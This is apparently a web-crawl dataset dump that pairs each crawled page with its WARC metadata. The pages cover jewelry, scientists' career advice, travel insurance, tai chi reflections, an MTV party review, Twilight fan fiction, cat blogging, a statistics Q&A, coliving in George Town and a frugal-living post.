text stringlengths 3 7.38M | source_data stringclasses 5 values | info stringlengths 83 12.5k |
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Niobium Earrings
Niobium is used in jewelry both because it is compatible with skin, and because it can be colored by electrolysis (the thickness of the oxide layer determining the color by interference). These are oxide-layer-colored earrings by Holly Yashi, who seems to be a major producer of niobium jewelry.
Source: eBay seller 4theear
Contributor: Theodore Gray
Acquired: 15 August, 2004
Price: $33.50
Size: 0.5"
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• Question: Where you have long periods of time without any results, how do you keep yourself motivated?
Asked by 533nand48 to Anil, Claire, Leona on 19 Nov 2015.
• Photo: Leona Mc Girr
Leona Mc Girr answered on 19 Nov 2015:
Yes unfortunately there will always a period in research when you do not get results and it can be very hard to motivate yourself. Thankfully this hasn’t happened that much for me but when it does, I take a break for a few days and come back fresh with a new perspective. I think you really need to love what you do otherwise you wont be able to motivate yourself. Also a good team and supervisor also really helps!
• Photo: Anil Jain
Anil Jain answered on 19 Nov 2015:
ohh certainly. My current circuit in the lab was designed in Oct 2013. It was tested last year but the performance was not good enough. We knew there was a problem and a possible solution. We left it in the cold for some time and we are testing it again (in 2015) trying to solve that problem. For me as long as I know what the problem is and the solution to it I can go to bed fine. Also in the meantime there are other projects that needs your attention and possibly provide you with challenges diverting your attention. So as long as there are challenges to attend to I think I can keep myself motivated enough.
• Photo: Claire O'Connell
Claire O'Connell answered on 19 Nov 2015:
This happens quite a lot to me. Usually when I get a bit stumped I go for a cup of tea, have a bit of a think, maybe read some journals. Because there is so much happening at the nanoscale finding the problem to why something isn’t working is usually a big challenge. In this case I try to design an experiment that will tell me which parameter it is that is causing the problem. Once I have found it I can usually fix it, it might just take a while! | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9754226207733154}", 'metadata': "{'Content-Length': '48322', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:Z5IFLV6R2ICTLWCG7KFKJ6Z767IUXNLF', 'WARC-Concurrent-To': '<urn:uuid:90558e00-c519-4d42-a8c8-3e1d5c237e88>', 'WARC-Date': datetime.datetime(2019, 6, 18, 3, 46, 24), 'WARC-IP-Address': '31.171.246.150', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:XLVMZSVHGB2JDE2KRPNU5EPDOMCMYIKB', 'WARC-Record-ID': '<urn:uuid:d29bcdcb-4998-48e3-a6ed-5279ed4c41b6>', 'WARC-Target-URI': 'https://nanoscin15.imascientist.ie/question/where-you-have-long-periods-of-time-without-any-results-how-do-you-keep-yourself-motivated/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:908b2976-8f70-4c93-94d1-a6fdfb66117a>', 'WARC-Truncated': None}", 'previous_word_count': '348', 'url': 'https://nanoscin15.imascientist.ie/question/where-you-have-long-periods-of-time-without-any-results-how-do-you-keep-yourself-motivated/', 'warcinfo': 'isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-69-172-143.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.0667717456817627', 'original_id': '19660dd5face273ee8547980edcc55a18ef9bbb5fa21a338692409ec7df5b9ad'} |
European Travel International - Family Owned Since 1978!
Phone: (951) 684-4760
Should you buy Travel Insurance?
There are so many reasons to purchase travel insurance nowadays, and it has become increasingly popular to do so: medical protection while in a foreign country, protection against supplier default, luggage protection, etc.
Before you just dive right in and purchase, though, make sure you're not over- (or worse) under-insuring yourself during your travels. Ask questions and do some research. The following tips can help you determine what kind of coverage you might want, or need.
1. Familiarize yourself. Travel insurance can include trip cancellation/interruption, accidental death or dismemberment, medical/dental care, emergency medical transportation, loss or damage of personal effects, and protection against default of your travel supplier.
2. Are you already covered? Some homeowners' or renters' insurance policies already cover for damaged, lost or stolen property while in a foreign country. Airlines SHOULD reimburse you for lost or damaged luggage. Some credit cards cover for accidental death and dismemberment. Your life insurance may cover you, even while traveling, and some credit cards cover the collision damage waiver while renting a car. You should, however, check with your insurer/credit card bank.
3. Ask away. While cruiselines and tour operators usually each sell their own insurance, check with your travel agent about using a third-party insurer, so your insurance program won't go away, even if your travel supplier does. Ask plenty of questions: What disasters are covered? What restrictions apply? Will there be out-of-pocket expenses, and how will reimbursements be determined?
4. Cancellation waivers. Many tour operators and cruise lines offer cancellation waivers for an additional charge. While theoretically they offer great coverage, there are restrictions you need to be aware of. Ask your travel consultant.
5. Insurance in a box? Do yourself a favor and don't purchase travel insurance from an airport vending machine. Most of the time, these policies cover travel accidents or death and dismemberment. They take advantage of people's fear of flying. Check with your life insurer to see if you're covered through your term policy.
6. Extra coverage. If you're traveling with expensive electronic or sporting equipment or jewelry you can't live without, consider extra coverage through a third-party insurer. It could be well-worth it. Most personal insurance will not cover emergency medical assistance, which could be important if you need to be treated medically or need to be hospitalized for a prolonged period of time in a foreign country.
7. Adrenaline Coverage. If you like to jump out of planes, climb up sheer rock or luge down a mountain, you need extra medical coverage. Many insurers don't cover for thrills, so a little research and a lot of questions are in order.
Whether you're planning a trek in the Himalayas, a short cruise to Mexico, or a culinary excursion to Italy, make sure to plan your insurance accordingly. The key is to ask questions, and consult your travel agent! | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9006922841072083}", 'metadata': "{'Content-Length': '25787', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:Y43ATW6UULIV7GHFFZKWIJ3HONV3CJ5V', 'WARC-Concurrent-To': '<urn:uuid:6a54c951-feb4-433e-bf15-1b1a5d8c3871>', 'WARC-Date': datetime.datetime(2020, 3, 30, 0, 17, 32), 'WARC-IP-Address': '207.189.101.121', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:KRHLJLREYUEWWR5ZG73HH43724HWI4ZT', 'WARC-Record-ID': '<urn:uuid:43bf32fd-918f-4698-9d06-96c37c030d6d>', 'WARC-Target-URI': 'http://europeantravelintl.net/Page/TripInsurance', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:7b937812-9b3b-418d-8709-93d598b68d8d>', 'WARC-Truncated': None}", 'previous_word_count': '483', 'url': 'http://europeantravelintl.net/Page/TripInsurance', 'warcinfo': 'isPartOf: CC-MAIN-2020-16\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2020\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-212.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.04274946451187134', 'original_id': '5654d39cdaa48fb6fc91f0f732bbe72e39ced9e6b896c73c2e73b19cf159fea1'} |
Ron Navarre’s Struggling Gracefully
Part of celebrating life is realizing that we can and do overcome so many difficult challenges. This is what makes the celebration that much sweeter. I wanted to offer this to you – it’s a step away from the usual posts to recognize that we’re in challenging times and many are struggling every day. I hope it helps.
Ron Navarre, a mentor and a dear friend is a person with immense gifts to share. This is a reprint from his latest blog located here. If you have a loved one or you yourself are going to be dealing with a big life changing experience, such as an operation, health issue, stress complications please do yourself and your family a favor and get in contact with him.
Struggling Gracefully
by Ron Navarre
We all struggle, every day is a struggle to pay the bills, fulfill our obligations and responsibilities and to just keep our heads above the water line of life.
Struggling is how we grow and evolve. From the time we are born, we learn how to struggle with our very first breath. The struggle continues as we learn how to roll over and sit up in our cribs and then stand and look at the horizon beyond our immediate world.
Learning how to walk is a struggle.
Watch a child as he or she stands, falls down, stands and wobbles then takes a step or two and falls down again. Day after day, until the legs develop enough strength to maintain balance and carry our body through space. Life goes on and so does the struggle.
Some people seem to struggle well and others do not. The ones that struggle well seem to realize that life IS struggle and embrace the task with a sense of joy and challenge. These people seem to succeed in the game of life and learn how to create the life they dream of. Then there is the person who shies away from the struggle and never learns how to assert themselves or develop the endurance it takes to transcend their known limits, or to take their creativity to the realm of making it reality.
I think of struggling as a form of exercise. I use it to develop strength, endurance and power. Over the span of my almost fifty years I have learned how to struggle well, to turn the awkward task into effortless art. In short, I have learned how to struggle gracefully. This has made a great difference in my life of constant struggle. Struggling gracefully has enabled and empowered me, where struggling awkwardly used to weaken and defeat me. I did not learn how to struggle gracefully overnight, although once I realized that I could, it seemed to happen immediately.
I first became aware of the possibility of living gracefully by watching one of my early martial art teachers, a man who was then in his early sixties. He was a high school art teacher and a third degree black belt in Tang Soo Do, and the most graceful man I had ever encountered. He moved effortlessly whether he was sparing in the dojo, walking down the hall of my high school or sitting still in meditation.
He was an enigma to me, a young teenager filled with anxiety and tension. He seemed magical and ethereal, yet solid and grounded. The image and feeling of his presence has stayed with me for over thirty five years and I still see his silken gate as he glided through the halls. Zen Buddhists refer to this as teaching with ONES BACK. In tai chi it is called direct transmission, the transfer of knowing and experience from one being to another. It wasn’t until I started learning tai chi that I began to understand the concept of effortless being, and how to struggle gracefully.
Through the process of learning tai chi I learned how to see myself and my thought process. I became aware of my constant tension and my belief that I had to work hard at everything, all the time. I worked hard, played hard, struggled hard and would not let myself relax for fear of failure and vulnerability. Tai chi was difficult for me for some time. My teacher would constantly admonish me to open and receive, to allow tai chi to happen through me. This was an idea both foreign and frightening to me. How could I just let something happen?
It took some time and much repetition of the form to find a place of letting go, to gradually soften my effort and to allow. It started with observing my physical effort and using less. As I became more adapt at using less effort and doing less physically, I became aware of my concentration. I could feel when I was concentrating too hard, and would soften my focus with an inner smile. Soften, smile breathe and allow.
My tai chi form and the experience of tai chi itself began to transform with this new awareness. I felt freer and less anxious, more fluid and oddly more connected and grounded. This was a paradox, the less I did the more I experienced. What I ultimately became aware of was the intention within my form and how the intention to be soft and effortless made it so. Tai chi became effortless and graceful and so did other parts of my life.
I started to live tai chi instead of just practicing it for an hour or two each day. I applied the principle and the intention to BE graceful in all things. I found that I was no longer trying to play a role or prove myself in my relationships, I was just being present. I was no longer putting so much energy and effort into worrying about things I had no power over, I was simply allowing and responding as needed.
One day as I was walking down the street I became aware of how much effort I was using to simply walk, and I decided to let go of my guarded determination. I found my pace slowing and my tension receding and I suddenly saw myself moving gracefully through space like my old teacher from Tang Soo Do.
Anyone can struggle gracefully. It’s a wonderful feeling to be effortless instead of effortful. It’s a powerful sensation to open and receive as you work, to use just what is needed for the task at hand. This takes a degree of sensitivity and trust. To trust yourself enough to allow, and to not push quite so hard at everything. Play with this intention and see how it feels. Play with it constantly and watch your life change from heavy and hard to soft and fluid.
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1 Response to Ron Navarre’s Struggling Gracefully
1. Warren
Ron can be reached by email at
Good Luck.
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MTV Throws World's Biggest 8th Grade Dance in Honor of US Version of SkinsS
Rumor has it 10,000 people RSVP'd for last night's MTV's Skins Warehouse Party before they had to close off their list on Wednesday. Gawker.TV was there and this is what happened.
The set-up was pretty nifty, you fill out their online form and give them your email. I'm waiting for the torrents of MTV spam I've exposed my poor inbox to. MTV sends you an email on Friday revealing the location of the party. Defeating the entire point of the RSVP though, it'd then be first come first serve to get in night of the party. Efficient...
But there was one more trick to getting into this not-exactly-exclusive premiere party, if you copied and pasted the address that went out via email on 1am Friday morning into Google Maps, you would have ended up in Brooklyn. If you went by the zip code provided in the address you'd find yourself at the right spot, a warehouse on West street in Manhattan. Yes, it was in fact that needlessly obtuse.
The cast of the show was there too, they'd come down from an upper level, no drinks in hand, answering the pressing question of the night—whether or not the underage cast would be seen partying. Perhaps they left their drinks upstairs.
The entertainment was decent, including Klever, Drop The Lime, and Kill The Noise. The DJs played throughout the night, hunched over laptops, cranking out house and dubstep. A break in the rave came around 12 when Sleigh Bells came on-stage to play possibly the loudest set the human ear can handle. Also, what on earth is their guitar player for? I don't think he does anything their laptop doesn't.
But just like Sleigh Bells' "rock" set, just like MTV's "rave" giving out Red Bull and glow sticks to teenagers, possibly just like the U.S. version of Skins, it all looked like the real deal, but wasn't. It had the trappings of an out of control teen party, but it was big and noisy and showy and kind of hollow. An upside was the beer was only $5.
MTV Throws World's Biggest 8th Grade Dance in Honor of US Version of Skins
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Edward's POV
Stamp inkpad, stamp book, put on cart/ stamp inkpad, stamp book, put on cart. Repeat as needed until brain begins to ooze out of ears.
I did enjoy my job, it would have been wrong to say that I absolutely hated it. Still, just like any other job, there were parts I loved and there were parts I hated. Stamping books back into circulation was one of the things I completely detested. Though it was nice when I had to travel to the second floor to put books away because I could conveniently "get lost" and spend a good amount of time hidden away in a corner reading one of the rare manuscripts we kept on hand. If I timed it right I could get twenty to twenty-five minutes in before the familiar, and painstakingly annoying voice of Jessica Stanley would filter over the intercom.
No, filter is too kind of a word. She raped that sound system without looking it in the eyes or calling the next morning.
"Edward to the front desk please, Edward Cullen to the front desk." She tried to sound like a sexy seductress but she came off like a shot-wound streetwalker.
I'd put away the book that I had been so invested in and relocate my cart with the one squeaky wheel…god damn, I hated that wheel…. Then I'd begrudgingly make my way to the elevator and back down to the main lobby where more books would, no doubt, be waiting for me.
So what did I exactly enjoy about my job in the local library? Well, I liked the smell of books especially old ones. The new ones tended to smell a bit too much like glue for my liking. I enjoyed being sent on cleaning missions because that meant I could, once again, get lost in the stacks. And I really enjoyed making displays in the front cases about upcoming attractions, author signings, release parties, and much more.
Then there were the obvious aspects such as:
- It was pretty good pay
- It was way better than flipping burgers
- Bleach blondes with fake boobs rarely graced libraries
There were obvious downsides as well
- I worked at a library so it never really got too exciting
- I felt guilty about driving my car the mile it took to get from my apartment to the library so I rode a bike no matter if it was rain or shine.
- No pot allowed on the premises
- Just kidding about the pot.
- Or am I?
- Customer complaints about late fees were always very abundant.
- Did I mention I rode my bike to work?
All in all though it really did beat flipping burgers.
"Edward! I dyed my hair what do you think?" Jessica's annoying voice was the first sound I heard as I walked into the library. It was a normal, rainy, Tuesday morning as I pulled my soaked jacket off my shoulders and proceeded to rid my unruly hair of any stubborn moisture. I made sure to aim my head in Jessica's direction. I finally looked up to see her normally mousey brown hair dyed a very bright platinum blonde.
"It's great!" I said with as much enthusiasm as I could muster. It really was great, it completely solidified the fact that, no matter how drunk I was (and I mean I would have to be very, very, very, drunk. Possibly drunk and on some form of very strong hallucinogenic) I would never sleep with Jessica Stanley.
Edward Cullen definitely preferred brunettes.
It was a gross day outside which meant not many people would be venturing out of their homes. Then again, rainy days were always the perfect reading days in my opinion.
"I wonder if we'll be busy today?" Jessica said, trying her hardest to make conversation. I gave her a smirk, I didn't want to seem like a jerk. I wasn't mean, I was just very uninterested.
"It's possible. It all depends on the rain and if it gets any worse." I said as I made my way to the break room in search of coffee.
"Morning Edward." Michael greeted me as I grabbed my mug from the cabinet and poured my normal cup of black coffee.
"Morning." I said, still a little groggy and not feeling like being conversational. Michael was a squirrelly guy ten years my senior, he was also my supervisor which gave him another reason to feel like he could boss me around. To be quite honest, I didn't mind being bossed around that much. Michael seemed like he had his job and that was it. He was unmarried, didn't even have a car, and lived in a crappy apartment that he could barely afford. I wished more for him, and I wished even more to never be exactly like him.
Michael looked at me with a suspicious glare over the frames of his thick, silver glasses. He took a quick sniff in my direction which made me lean away a bit as I stirred a sugar packet into my bitter coffee.
"Shower broken again Edward?" He quipped. I sniffed my long sleeved shirt and was displeased to find that I smelled less like my cologne and more like a wet dog who had rolled in a dead gerbil and sweaty hookers.
Cheap hookers to be exact.
"I guess I pick up a lot of interesting odors bicycling through the rain to work." I said with a shrug. Michael chuckled matter-of-factly and laid a hand on my shoulder in an attempt to seem fatherly.
"Transportation is not an excuse for bad hygiene, Edward. I bike to work every morning and I don't smell like an animal." He leaned in, "The trick is keeping a bottle of cologne on you at all times." He whispered with a final clap to my shoulder.
Yes, I aspire to smell like a cross between a funeral home and that one uncle that no one talks about until he shows up at the reunion drinking cheap Scotch out of the bottle and wearing a suit with the price tag still on it…yeah you know the one I'm talking about.
"Thanks for the advice." I said as I threw the spoon into the sink and walked out of the break room eager to avoid anymore "advice" sessions. I made my way through the main room of the library turning on lights as I went. My destination was the front desk and I was determined to get there with as few interruptions from Jessica or Michael as possible. The storm that was rolling into our small town was becoming more violent with each passing minute and I half hoped that no one would come in so I could get paid to sit at the desk and read all day long.
I reached my destination, pulled out the battered leather chair, and sat down. I hadn't encountered Jessica since the break room and I secretly fantasized that Michael had put her to work cataloging issues of "National Geographic" that were older than her.
Sighing happily I pulled out my much abused copy of Virgil's "Doomed Love" and began to read the material that I had, basically memorized. I almost thought about turning on the radio but then I realized that it was comforting to sit there with a familiar book as the heavy rain pelted the thickly paned windows. Thunder started to rumble loudly adding a nice percussion section to the rhythmic symphony that was raging outside.
I was enjoying the peace and quiet, not caring where my co-workers were just pleased that they weren't bothering me, when my cell phone went off rather loudly signaling that I had a new text message.
"Dude! Tell your crazy sister to stop burning my clothes. I don't have 9234 pairs of jeans like she does.
From: Jasper"
I laughed at my best friend's expense. That's what he got for being hopelessly in love with my crazy, pixie-like, goal oriented, stepsister.
My cell phone dinged again,
"OMG EDWARD! If u don't take Jazz shopping soon he's not going to have n e more clothes to wear! Ugh! At least u learned to listen to me about fashion a LONG time ago. I don't know what I'd do if I had to take care of 2 fashion challenged neanderthals 24/7.
From: Alice"
I laughed out loud and the sound was a bit scary in the silent library. It was true that I had a fairly boring job, and an average apartment, but if it was one thing I had in my life that was NOT average it was my friends and my family… and I would never trade any of them for anything.
For starters there were my parents:
Esme Masen Cullen, my beautiful mother who was quite possibly the nicest person on the face of the planet. I had never heard her raise her voice to anyone and I would take the day she said a swear word any worse than "dammit" as a sign of the apocalypse. My mother had long brown hair and large doe-like eyes. She had previously been married to one Mark Masen (and yes he was just a big of a tool as his name suggested) my biological father. I cringed anytime I thought of that fucking bastard. He was now rotting in a jail cell for a drunk driving accident that he ran away from. Did I mention he left six year old me in the totaled car from said accident covered in apple juice scared shitless? Yeah, I really hoped he was taking it up the ass nightly now.
Then my mother had met Carlisle Cullen…Doctor Carlisle Cullen to be exact. The man was one of those rare, kindhearted, people that you are only fortunate to meet a handful of times in your life. He was tall and blonde with kind eyes and a soft voice (though he could sound quite authoritative when he needed to be). Carlisle worked as an emergency room doctor at the local hospital, he had also written several books on varying subjects and had inherited quite a bit of money from his father who had passed when Carlisle was twenty. To make a long story short Carlisle lived quite well and he made sure his family was well taken care of. My mother married Carlisle when I was nine years old and his daughter Alice was seven.
Oh, Alice…
Alice Cullen was one of those rare gems that either belongs as a loveable sidekick or as a patient in a mental institution. She had short, spiky, black hair that I assumed she got from her biological mother who had skipped town on the back of a Harley that had belonged to a woman with a fairly convincing five o'clock shadow, when Alice was two. Alice also had a voice that could carry so well that I could perfectly understand her shrieks all the way upstairs in the closed bathroom with the radio up full blast and the shower running. She was as kind as her father and had a passion for living that was unmatched by anyone I had ever met. She was loving, smart, and acted like she was on crack most of the day (which was probably one of the most appealing things about her). I wondered, on more than one occasion, if she didn't shoot up straight black coffee at the breakfast table. Most of the time, growing up, Alice was perfectly content to skip about the house singing songs to herself, ones that she had more than likely made up. She also loved to shop constantly and I feared that her credit cards would just one day cut themselves up in hopes they would find peace. The good thing was that Alice did have very good taste. The bad thing was that, prior to meeting Jasper, she had focused all of her attention on fixing my wardrobe. It wasn't that I didn't mind the clothes it was that it wasn't exactly easy to fold my six-foot-something frame into her tiny yellow Porsche and her choice of music wasn't always pleasing to my ears. You can imagine my delight when Jasper had happened along.
Jasper Hale was a simple, goodhearted man that I had met in college in a history course. We had hit it off when he made a comment about our boring professor looking like Teddy Roosevelt which had resulted in my Diet Coke spewing out of my nose. He played guitar, was from Texas, and fell hopelessly for my sister the moment he had met her. Alice had also been smitten the moment she had laid eyes on the Texan. I had, of course, silently rejoiced that Jasper would be taking my place as Alice's living shopping bag carrier. Jasper was tame, Alice was bat shit crazy, and they were absolutely perfect for each other.
I was enjoying a trip down memory lane, my cup of hot coffee, and my choice in literature for the day when the bell on the front door dinged loudly. It was the first sound I had heard in a good while and it startled me into spilling some of my coffee onto the desk,
"Shitfuckdamn." I cursed as quietly as I could manage as I mopped up the spill with the roll of paper towels I found in the third drawer.
I looked up from my spill to see a young woman around my age perusing the shelves in front of me.
"Good morning." I said.
She said nothing.
"Is there anything specific you're looking for?" I asked a bit louder, maybe she just hadn't heard me.
She turned enough so that I could see her face. I could see that her eyes were a deep brown and her lips were pale. She shook her head "no" and went back to her perusing.
I walked out from behind the desk and made my way toward her. She was very interesting looking, beautiful in her own way.
"Gross day out isn't it?" I asked, trying my hardest to start a conversation.
Dear God, I'm starting to act like Jessica.
She said absolutely nothing.
She picked up a book called, "The Curious Incident of the Dog in the Nighttime" and began to skim through it.
"That's a really good book. I bet you'll love it. It's different." I said.
She nodded once and that was it.
"Well if you need anything my name is Edward…and…yeah…" I fumbled and walked back over to the desk.
She continued to browse the stacks and I continued to wonder what the hell was wrong with me. I didn't smell THAT badly and, as far as I knew, I hadn't said anything offensive.
"You know if it keeps raining like this we're going to have to build an ark." I laughed a bit.
Did I just make a fucking biblical joke? What the hell?
She said nothing.
"Good morning!" Jessica asked mystery girl as she passed her on the way to my desk.
The girl still said nothing.
Good, maybe it wasn't just me after all.
Then again Jessica's voice may just be too high to register with certain people
"Edward I need the author list for this month so I can update the calendar." She said. I handed it over without looking Jessica in the eyes. I was too busy trying to figure out the one patron of the library.
"Thanks." Jessica lingered for a few moments, realized I wasn't interested at that time, and left in a huff.
Finally the girl made her way back up to the front desk where I was seated. She had "The Curious Incident of the Dog in the Nighttime" as well as a few others. I was happy to see that she had kept the first one.
"Do you have a library card?" I asked.
She shook her head "no" without looking up at me.
"Well could you fill this out for me really quick then?" I asked pushing a form her way.
If you just want to put 'Ice Bitch' under the name I'll know it's you. I thought.
She pushed the finished form my way and I printed her out a card.
"So are you new here? I don't think I've seen you around before." I said. I wanted her to say SOMETHING, anything at all. I didn't care if she only said "yes" or if she said "fuck off asshole" I really didn't care. I just wanted her to speak.
She nodded once and I snapped the pencil I was holding in two out of frustration. I glanced at the card at her name.
"Well Bella Swan I hope you enjoy these." I said as I scanned her selections. The beep of the scanner was the only sound I heard, "These are due back by next Tuesday." I said.
She took the books from me and began walking toward the exit.
"Have a nice day!" I called.
She said nothing and the doorbell dinged once again signaling her departure.
"What just happened?" I asked myself. Had I not had a date in so long that women wouldn't even SPEAK to me now?
"Hi!!" Jessica called as she passed through on her way to the filing cabinet.
Obviously not. I thought, Unless… I shook my thoughts questioning Jessica's sexuality out of my mind.
Guess she was just a bitch. I concluded.
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Why do we love cats so much?
We’re all cat lovers. That’s why we’re here. But have you ever stopped to wonder why we find cats so incredible loveable?
With Valentine’s Day just around the corner, it seemed the perfect time to explore our fascination with our self-domesticated feline friends.
backside of a woman with a cat on her shoulder looking directly at cameraSome of that innate love could be instinct, based on cats’ unique facial features. Konrad Lorenz, who also discovered the concept of imprinting, believed that humans are drawn to baby-like features, such as large eyes. Because cats have relatively large eyes in proportion to their faces, even when grown, we feel an instinctual protectiveness over them.
cat looking wide-eyed directly at camera
The answer could also lie in how cats domesticated themselves. Unlike dogs, who were bred from wild wolves to be hunting tools and family companions, cats likely followed humans because that’s where the prey was. Throughout history, wherever humans went, vermin followed, providing an ample food source. Fast forward thousands of years and cats have figured out that humans will provide shelter, safety, and food, without all the effort.
That’s one of the reasons it’s so important to play with your cat. He has strong hunting instincts that need exercising. Even if he seems content to sleep all day, he really needs a chance to show off his skill at pouncing, chasing, and scratching. Even just a few minutes a day with a wand toy, like our Wiggly Wand can keep kitty feeling frisky and engaged.
grey tabby kitten playing with oh-ring paper wand toy
There’s also evidence cats see us as part of their “litter,” using vocative noises like mews and chittering to attract our attention—a behavior that’s only used between mother cats and their kittens in the wild. Knowing your cat sees you as an equal is certainly reason to dole out the love.
british shorthair cat looking straight up at camera with mouth opening as if meowing
Another piece of the puzzle may lie in a cat's unique purrs, which they use to calm themselves when they’re stressed or to express contentment. Evidence even shows that a cat’s purr can heal both cats and humans alike. And there’s nothing like a contented purring cat in your lap.
orange tabby cat asleep on a man's lap
oh-ring paper cat toys
It’s also likely that some of us find cats to be a challenge, and that’s why we find them so appealing. Unlike dogs, cats usually only show affection on their terms. So when they do finally show how much they love and depend on us, it seems that much more rewarding.
hand petting cat under chin
If you’re a meme lover, you might adore cats because they are “made of liquid” or because “if I fits, I sits” seems to be their mantra. Cats can fit in nearly any container. In tight spaces, whiskers help them determine if the space is big enough for their body. But also, cats love a simple cardboard box or a play tunnel like our own Hide and Sneak.
kitten inside a Hide and Sneak cat toy tunnel look out of entry hole
Hide and Sneak paper cat toy tunnel
In all honesty, though, it’s probably the toe beans. Have you seen the tiny cute pads on the bottoms of their feet? How can you not love a creature with such adorable toes?
close up of a cats toe pads
• Donald Ancell
Between my daughter and I we or an I we have 8 cats some are rescue and some walked off the street into our house and stayed
• Jo
I love cats so much.
• Brosephus
Yo, I love my cat. She best over all peeps I know. She probably why I alive still.
• Kami Shadden
My 3 furry Kitts are warm and affectionate and even cuddle up to and with me. I couldn’t ever imagine my life without them. We have several cat condo’s in our home to fit each room. They when you have them put together that they belong to them. Goodness I let my furry prowlers own everything else like a dresser with one top drawer out they jump in the tiny space top row and lay in them for napping. I can’t say enough about their love for me and I them. Its never a chore to change their water or their food dishes, its never a chore , for me anyway to clean their potties keeping up with them and making sure their taken care of like going to the vet although its almost always a challenge to get the to go see the vet but we make it there and back no problem. I love them and we can hardly bare being separated from each other. They’re indoor cats and I’m proud to be their mama and proud of them in many authentic unique ways they tell me how their feeling or if the door needs to be opened for a little fresh air, they lead me to the treat door so they can get goodies. I love when they talk to me. I am so happy when I get home with bags of groceries and they get in each bag looking for snacks and we get excited about our happy home and being there together. We wouldn’t want it any different. My cats are very precious to me.
• Genoa
As a baby, our family cat would crawl into my buggy to cuddle, often pushing me into the sunlight to my mother’s dismay. Having had a cat as member of family for most of my life I cannot imagine living without one. My two cats born one week apart will be 18 this November, the longest living cats I have had. They soothe my soul and allow me to experience quiet and peace at times the world seems frantic and troubled.
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Q:
PPV vs Sensitivity
I am looking at the equation PPV and Sensitivity
and I got this
PPV = TP / (TF+FN)
and
Sensitivity = TP / (TF+FN)
Which means both are the same !!
So do we have them in 2 names?
and how come F1 Score is
F1 Score = 2*PPV*S / (PPV+S)
Can we rewrite F1 Score to be
F1 Score = 2*PPV*PPV / (PPV+PPV) = 2*PPV*PPV / (2*PPV) = PPV !!
They all the same?
It seems there is some condition or something I am missing here!
can someone please explain to me what am I missing?
A:
Using medical diagnosis as an example:
sensitivity is the proportion testing positive among all those who actually have the disease.
Sensitivity = TP/(TP+FN) = TPR
While,
PPV is how likely a patient has a predicted specific disease given the test results.
PPV = TP/(TP+FP) which is definitely NOT equal to TP/(TP+FN)!
Regarding F1:
F1 is the harmonic mean of precision and sensitivity. One is normalized by column and the other normalized by row. Precision is synonymous with PPV while sensitivity is synonymous with TPR.
F1 = 2*PPV*TPR / (PPV+TPR)
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Find my home What is coliving? Become a host
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Coliving in George Town
George Town
The beautiful and multicultural George Town is the capital of the Malaysian island of Penang. Malaysia has forever been a go-to for travelers and tourists. With modern technology and affordable living cost, George Town is quickly becoming one of the coliving centers of Malaysia.
Being the first British settlement in Southeast Asia and then subjugated by Japan has left George Town with both British and Japanese architectural beauty. The city is known for its colonial buildings, Chinese shophouses, street art, and food. With both an Old Town and a modern city, George Town offers the best of both worlds. George Town's historical center is rightly a UNESCO World Heritage site, helping make it the nation’s tourism hub.
George Town is bursting at the seams with history, waiting to tell you a story or two. The oldest Anglican church in Southeast Asia that stands tall and proud in the brightest white is only a part of that story. In a city where churches, mosques, and temples stand side by side, each has a unique piece to give this multicultural city.
Kek Lok Si is a stunning castle-like temple. Open to tourists, walking through the temple shows how culture and religion blend together in this city. As you walk through the temple halls, you will see Chinese, Burmese, and Thai design melt together.
Penang Hill is the highest point in George Town and offers the best views in the city. If you are not up for a hike, the cable car is a less strenuous way to make your way up the hills where you will find colonial cottages and viewing platforms. On your way down, remember to visit the botanical gardens at the foot of Penang Hill. The botanical garden is filled with beautiful and exotic flowers and spices.
People visit George Town for many reasons, but street food and street art is at the top of that list. Penang’s main roads close on the last weekend of every month for the famous George Town Market. The market is the perfect time to shop for souvenirs, have some bubble tea, and sample the fantastic street food.
In George Town, it is hard to know what food to try and what not to try; there is so much – so follow your nose and see where you end up. You never know it might even take you to Little India, where you can grab a plate of biryani, tandoori chicken, or even spicy prawns.
George Town is genuinely one of the easiest cities to live in. It is safe, inexpensive, and friendly. A perfect example is that there is even a free bus that operates every day except for Sunday, making it easy to get around. George Town is ideal for the digital nomad looking to colive in a homey, beautiful, and stress-free city.
Here are some fun facts about George Town:
- George Town is named after King George III of Great Britain
- World-famous shoe designer Jimmy Choo was born in George Town
- George Town is home to six traditional Chinese villages
- The most photographed building in George Town is Cheong Fatt Tze Mansion which has 28 rooms and a remarkable 200 windows
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trick
[trik]
n诡计,骗局;恶作剧;窍门 vt欺骗,哄骗
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Thursday, April 1, 2010
Frugal Moments in a Small Town:Oysters and Peppers
As long as I live in my little town, I will have to be well-behaved. Just today, I had to pick up a prescription for a back ailment. The druggist was the father of one of Frugal Son's preschool pals. Working at the counter was a friend of a friend of Frugal Son, who also was in Mr. FS's class last year.
That person told me that there was a good coupon for something I wanted to buy; she produced one from behind the counter. Thanks! I saved $10.00.
